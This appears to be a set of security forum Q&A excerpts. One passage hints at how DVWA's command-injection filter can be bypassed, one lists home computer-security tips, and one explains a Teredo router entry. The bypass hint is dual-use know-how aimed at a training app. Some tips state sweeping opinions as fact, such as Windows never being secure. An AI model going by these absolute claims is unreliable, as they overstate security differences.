Looking at the code (https://github.com/RandomStorm/DVWA/blob/master/vulnerabilities/exec/source/high.php) it is definately vulnerable. You just need to take a look at what trim does and what characters are both whitespace and have special meaning on the command line.

https://github.com/RandomStorm/DVWA/issues/78


Personal Best Practices for Information Security Am relatively new to security and am interested in learning ways in which I can best protect my own personal data and identity in general terms both on the internet and the applications I engage with (let's call this software) but also my own personal devices (hardware).

To begin, how can I best protect my own computer at home from infiltration?

There are probably as many potential answers as there are ways to break into a computer.
Some tips:

1) Disconnect wifi when you're not using it. Attack surface is the amount of ways that a cracker can get in. Limit attack surface when you can. Internet is the path into your computer and should always be treated as such.

2) It is very easy for an attacker to search the internet for devices with known vulnerabilities. Punk crackers don't know anything besides a specific exploit and how to use a weapon that someone else made. Keep everything up to date to protect against these novice crackers. The talented ones aren't after your personal device. Really, just try not to be the easiest target.

3) Don't visit websites that you don't trust. All sorts of problems can happen from malicious websites. If the website redirects you somewhere that you didn't intend to go, that's fishy, don't go back there.

4) Don't download things from sources that you don't trust

5) Never give personal information on a site that you don't trust completely, and which doesn't start with https. Https is a more-secure version of http. Most self-respecting sites use https.

From Wikipedia HTTPS:

  The main motivation for HTTPS is authentication of the visited website
  and protection of the privacy and integrity of the exchanged data.

6) Some software asks to open holes in your firewall or to open a port. If anything asks for firewall modification, think about it and research it thoroughly. This is a step in attack-surface restriction.

7) This will be the most controversial piece, but it's the kind of thing you can't leave out. Windows is not secure and never will be, it's also the biggest target because it's the most widely used. This goes with 'don't be the easiest target. Disclaimer, I have no affiliation with any Linux distribution, I am very biased against Windows however, and we're talking security here. Open source distributions like Linux, (Ubuntu is a good one for beginners and is very user-friendly) will always be more secure. The source code is available, and more eyes on code tends to root out bugs/vulnerabilities. Bugs are found all the time in Linux, but that's a good thing, because they can be fixed, allowing less Zero Day Vulnerabilities. Another option is Qubes, which is a brilliant design for software if you have time to look into it and experiment. (The main pitfall of Linux is the sheer code-size of it's kernel, big attack surface). If you do have Windows, use protection, it's a dirty world, antivirus I mean.

8) Delete all programs you obviously don't need. Limit attack surface. You're not using them anyway, and it would be a shame for a vulnerability in a program you don't need to be the gateway into your computer for malevolent crackers.

9) Pay heed to warnings that your computer gives you. If it asks for administrative privileges, that's an important decision. The brilliant people that write software at times try to protect ourselves from ourselves, and that's usually a good thing. Research what it's asking.

I'm sure I missed something, but it's a start. The more familiar you are with how people break into computers, the easier safety will be. So it would never hurt to just skim through NVD Vulnerabilities Database. But really. bad websites, bad downloads, old, non-updated software avoid them all like the plague.


Is Teredo in my router a back door? I use the school computer, which I bought from school, administered by the IT-department. I opened a port to my computer when I stumbled upon this:

It points to my computer IP. (I have a static IP to my router.) The contract says the IT-department isn't allowed to enter our computers via a backdoor, but I already caught them with a hidden administrator account that they explained that was there just in case I lost my password. (But I suppose they could change it without that backdoor because the school uses domain user accounts.) It would be no problem for them to install anything on our computers without us necessarily noticing...

Could this be another back door, or what could it be used for? There isn't any other UPnP entries to another of the computers (wirelessly connected) here on the router.

You shouldn't be worried about it. It looks as if Teredo is a IPv6 tunneling technology. According to this Wikipedia article it allows for IPv6 connectivity by tunneling IPv6 packets through your router encapsulated in IPv4/UDP datagrams (so you can still talk IPv6 even though your router doesn't).